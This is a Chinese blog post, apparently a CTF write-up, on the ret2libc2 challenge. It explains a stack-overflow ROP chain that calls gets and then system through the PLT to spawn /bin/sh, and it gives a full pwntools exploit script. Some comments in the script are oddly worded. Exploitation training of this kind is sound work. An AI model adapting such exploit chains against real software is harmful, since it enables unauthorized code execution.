博客
关于我
ret2libc2
阅读量:551 次
发布时间:2019-03-09

本文共 916 字,大约阅读时间需要 3 分钟。

ret2libc2 问题的解决方法可以分为以下步骤:

  • 分析目标:目标是通过利用栈溢出攻击,在程序中执行 /bin/sh

  • 理解PLT 表:利用PLT表中的 _system 函数进行层级跳转,确保函数返回到正确的位置以避免无限循环。

  • 构造栈溢出攻击:通过构造一个栈溢出 payload,利用已知的函数返回地址和参数位置,确保控制权返回到 system 并传递正确的参数 /bin/sh

  • 利用 _system 函数:确保在 system 函数的参数中传递一个指向 sh 的指针,从而触发其执行。

  • 以下是实现该攻击的具体 payload 构造步骤:

    from pwn import *# 定义变量bss_addr = 0x0804A080gets_plt = 0x08048460sys_plt = 0x08048490pop_ret = 0x0804843d# 初始化过程io = process('./ret2libc2')io.recvuntil('What do you think ?')# 构造 payloadpayload = b'A' * 112payload += p32(gets_plt)         # 调用 gets 函数payload += p32(pop_ret)         # 跳转到返回点payload += p32(bss_addr)        # 调用 bss 段的地址payload += p32(sys_plt)         # 调用 _system 函数payload += b'aaaa'              # 显存填充payload += p32(bss_addr)         # 再次调用 bss 段的地址# 发送 payloadio.sendline(payload)io.sendline(b'/bin/sh')io.interactive()
    1. 测试和验证:使用工具如 gdb 进行调试,验证攻击是否成功,确保程序流程如预期执行,且没有遗漏或错误。
    2. 通过以上方法,可以有效地将控制权转移到 system 函数,并执行所需的代码片段,从而完成攻击目标。

    转载地址:http://yjzsz.baihongyu.com/

    你可能感兴趣的文章
    NOIp2005 过河
    查看>>
    NOPI读取Excel
    查看>>
    NoSQL&MongoDB
    查看>>
    NotImplementedError: Cannot copy out of meta tensor; no data! Please use torch.nn.Module.to_empty()
    查看>>
    npm install报错,证书验证失败unable to get local issuer certificate
    查看>>
    npm run build 失败Compiler server unexpectedly exited with code: null and signal: SIGBUS
    查看>>
    npm run build部署到云服务器中的Nginx(图文配置)
    查看>>
    npm WARN deprecated core-js@2.6.12 core-js@<3.3 is no longer maintained and not recommended for usa
    查看>>
    npm切换到淘宝源
    查看>>
    npm前端包管理工具简介---npm工作笔记001
    查看>>
    npm和yarn清理缓存命令
    查看>>
    npm和yarn的使用对比
    查看>>
    npm报错unable to access ‘https://github.com/sohee-lee7/Squire.git/‘
    查看>>
    npm的问题:config global `--global`, `--local` are deprecated. Use `--location=global` instead 的解决办法
    查看>>
    npm错误Error: Cannot find module ‘postcss-loader‘
    查看>>
    NPOI之Excel——合并单元格、设置样式、输入公式
    查看>>
    NPOI利用多任务模式分批写入多个Excel
    查看>>
    NR,NF,FNR
    查看>>
    nrf开发笔记一开发软件
    查看>>
    NSDateFormatter的替代方法
    查看>>